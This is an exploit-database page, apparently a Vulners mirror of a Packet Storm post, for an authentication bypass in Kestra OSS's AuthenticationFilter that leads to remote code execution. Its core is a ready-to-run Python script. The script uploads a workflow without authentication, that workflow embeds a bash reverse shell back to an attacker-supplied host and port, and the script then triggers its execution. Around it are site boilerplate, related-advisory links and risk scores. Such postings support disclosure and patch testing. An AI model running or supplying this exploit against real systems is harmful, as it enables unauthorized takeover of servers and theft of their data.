Lucene search
+L

...[ More ]

🗓️ 05 Oct 2026 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

Unauthenticated remote attackers can execute arbitrary workflows via Kestra OSS request bypass.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-49869
30 Jun 202614:13
–githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Kestra
29 Sep 202605:24
–githubexploit
attackerkb
attackerkb
CVE-2026-49869
26 Jun 202620:58
–attackerkb
circl
Circl
CVE-2026-49869
26 Jun 202621:55
–circl
cisa_kev
CISA KEV Catalog
Kestra OSS OS Command Injection Vulnerability
2 Sep 202600:00
–cisa_kev
cve
CVE
CVE-2026-49869
26 Jun 202620:58
–cve
cvelist
Cvelist
CVE-2026-49869 Kestra: Unauthenticated Remote Code Execution via Authentication Bypass in `AuthenticationFilter`
26 Jun 202620:58
–cvelist
euvd
EUVD
EUVD-2026-39922
26 Jun 202620:58
–euvd
kitploit
Kitploit
CVE-2026-49869
6 Oct 202611:33
–kitploit
kitploit
Kitploit
CVE-2026-49869
7 Oct 202610:58
–kitploit
Rows per page
# Title: Kestra OSS Authentication Bypass Remote Code Execution (CVE-2026-49869) v1.3.20
# Author: nu11secur1ty
# Date: 10.05.2026
# Vendor: Kestra
# Software: Kestra OSS
# Reference: https://github.com/kestra-io/kestra

## Description:
CVE-2026-49869 is a critical authentication bypass vulnerability residing
within Kestra OSS's core request-filtering mechanism
(`AuthenticationFilter`). Due to insecure suffix-matching logic
(`endsWith("/configs")`) instead of strict routing or exact segment
validation, attackers can craft custom request paths that bypass security
controls. This allows unauthenticated remote attackers to create, modify,
and execute arbitrary workflows (`flows`) containing execution plugins
(such as `io.kestra.plugin.scripts.shell.Commands`), leading to full Remote
Code Execution (RCE) with high privileges on the hosting environment.

STATUS: Vulnerable / PoC Verified

[+]Payload:
```python
#!/usr/bin/python
# Tool/Model: nu11secur1ty

from argparse import ArgumentParser
from ipaddress import IPv4Address
from urllib.parse import urlsplit
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

# Parse command line arguments
parser = ArgumentParser()
parser.add_argument("target")
parser.add_argument("--lhost", type=IPv4Address, required=True)
parser.add_argument("--lport", type=int, required=True)
args = parser.parse_args()

# Validate target URL format
target = urlsplit(args.target)
if target.scheme not in ("http", "https") or not target.netloc or
target.path not in ("", "/") or target.query or target.fragment:
    parser.error("target must be a base HTTP URL")
if not 1 <= args.lport <= 65535:
    parser.error("lport must be between 1 and 65535")

base = args.target.rstrip("/") + "/api/v1/main"

# Define malicious flow payload containing a bash reverse shell
flow = f"""id: configs
namespace: configs
tasks:
  - id: shell
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - "bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
"""

try:
    # Upload the flow configuration utilizing the auth bypass
    req_flow = Request(
        f"{base}/flows/configs?delete=false",
        data=flow.encode(),
        headers={"Content-Type": "application/x-yaml"}
    )
    urlopen(req_flow, timeout=10).close()
    print("[+] Flow uploaded successfully.")

    # Trigger the flow execution
    req_exec = Request(f"{base}/executions/configs/configs", method="POST")
    response = urlopen(req_exec, timeout=10).read().decode()
    print("[+] Execution triggered successfully:")
    print(response)

except HTTPError as e:
    print(f"[-] HTTP Error: {e.code} - {e.reason}")
except URLError as e:
    print(f"[-] Network Error: {e.reason}")
except Exception as e:
    print(f"[-] An unexpected error occurred: {e}")

# Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-49869)

# Demo:
[href](https://odysee.com/@nu11secur1ty:b/CVE-2026-49869-RCE-exploit:a)

# Time spent:
01:35:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.110
EPSS0.02095
SSVC
8